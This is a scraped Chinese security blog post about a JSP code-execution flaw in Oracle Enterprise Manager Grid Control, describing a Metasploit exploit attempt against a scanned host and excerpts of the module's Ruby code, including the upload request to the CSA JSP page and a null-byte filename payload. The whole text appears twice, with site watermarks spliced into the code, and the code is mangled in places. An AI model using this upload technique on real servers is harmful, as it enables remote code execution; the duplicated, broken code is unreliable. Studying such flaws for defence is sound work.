Oracle Enterprise Manager Grid Control JSP代码执行漏洞(CVE-2
0×1
Oracle Enterprise Manager Grid Control是可以监控和管理网格中的Oracle数据库软件的工具。
Oracle Enterprise Manager Grid Control在实现上存在安全漏洞,远程攻击者可利用此漏洞执行任意JSP代码。
在上传XML文件时,通过未指定的POST参数发送到”Client System Analyzer”组件某些JSP脚本的输入在用于创建XML文件之前未正确过滤,通过在请求中提供空字节造成任意JSP代码执行。
应用程序通过OCI的方式,访问数据库服务器,而OCI的访问模式,必须要安装Oracle Client。
参考链接:http://blog.csdn.net/hpuedu1909/Article/details/14454241
0×2
最近用绿盟扫描器扫到一个:
host:https://x.x.x.x:1158
访问存在漏洞的服务器:
msf中search此exp:
使用此exp:
发现失败了
show options查看一下payload:
此处为payload为reverse_tcp反向连接。
reverse_tcp反向连接(本机监听)//是服务器来连接攻击者,返回一个SHELL。
bind_tcp 正向连接 (目标监听) // 是攻击者主动连接服务器得到一个SHELL。
reverse_tcp 就是攻击者开启端口等待远程目标连接,bind_tcp 就是远程目标开启一个端口,等待攻击者连接,不用做端口映射。
考虑此处是否由于正反向连接问题,所以换成bind_tcp正向连接:
exp:
发现仍然失败
查找此漏洞披露平台(此为SCAP中文社区),查看此exp代码:
–ruby代码
代码主体为:
equire 'msf/core'
class Metasploit3 Msf::Exploit::Remote
HttpFingerprint = { :pattern => [ /Oracle Containers for J2EE/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info={})//对漏洞利用的说明
……
def on_new_session(client)
……
def upload_file(data)
……
def check
……
def exploit//进行远程代码执行
……
end
其中核心函数为exploit函数
发现其中关键函数upload_file:
def upload_file(data)
res = send_request_cgi(
{
'uri' => 'd/em/ecm/csa/v10103/CSAr.jsp',
'method' => 'POST',
'data' => data
})
return res
end
最后返回的是res,推测res为上传的文件,其中uri是上传的页面,方法为POST,数据为data
先访问一下地址,查看是否存在该页面:
此处已判断该页面是一个可访问的空白页面
继续查看代码,def check函数:
data = "sessionID=#{file_name}.txt\x00.xml"
data "\x0d\x0a"
data Rex::Text.uri_encode(file_contents)
print_status("Uploading the CSA#{file_name}.txt file")
res = upload_file(data)
if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)
0×1
Oracle Enterprise Manager Grid Control是可以监控和管理网格中的Oracle数据库软件的工具。
Oracle Enterprise Manager Grid Control在实现上存在安全漏洞,远程攻击者可利用此漏洞执行任意JSP代码。
在上传XML文件时,通过未指定的POST参数发送到”Client System Analyzer”组件某些JSP脚本的输入在用于创建XML文件之前未正确过滤,通过在请求中提供空字节造成任意JSP代码执行。
应用程序通过OCI的方式,访问数据库服务器,而OCI的访问模式,必须要安装Oracle Client。
参考链接:http://blog.csdn.net/hpuedu1909/Article/details/14454241
0×2
最近用绿盟扫描器扫到一个:
host:https://x.x.x.x:1158
访问存在漏洞的服务器:
本文来自无奈人生安全网
msf中search此exp:
使用此exp:
发现失败了
show options查看一下payload:
此处为payload为reverse_tcp反向连接。
reverse_tcp反向连接(本机监听)//是服务器来连接攻击者,返回一个SHELL。
bind_tcp 正向连接 (目标监听) // 是攻击者主动连接服务器得到一个SHELL。
reverse_tcp 就是攻击者开启端口等待远程目标连接,bind_tcp 就是远程目标开启一个端口,等待攻击者连接,不用做端口映射。
考虑此处是否由于正反向连接问题,所以换成bind_tcp正向连接:
exp:
发现仍然失败
无奈人生安全网
查找此漏洞披露平台(此为SCAP中文社区),查看此exp代码:
–ruby代码
代码主体为:
equire 'msf/core'
class Metasploit3 Msf::Exploit::Remote
HttpFingerprint = { :pattern => [ /Oracle Containers for J2EE/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info={})//对漏洞利用的说明
……
def on_new_session(client)
……
def upload_file(data)
……
def check
……
def exploit//进行远程代码执行
……
end
其中核心函数为exploit函数
发现其中关键函数upload_file:
def upload_file(data)
res = send_request_cgi(
{
www.wnhack.com
'uri' => 'd/em/ecm/csa/v10103/CSAr.jsp',
'method' => 'POST',
'data' => data
})
return res
end
最后返回的是res,推测res为上传的文件,其中uri是上传的页面,方法为POST,数据为data copyright 无奈人生
先访问一下地址,查看是否存在该页面:
此处已判断该页面是一个可访问的空白页面
继续查看代码,def check函数:
data = "sessionID=#{file_name}.txt\x00.xml"
data "\x0d\x0a"
data Rex::Text.uri_encode(file_contents)
print_status("Uploading the CSA#{file_name}.txt file")
res = upload_file(data)
if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)
www.wnhack.com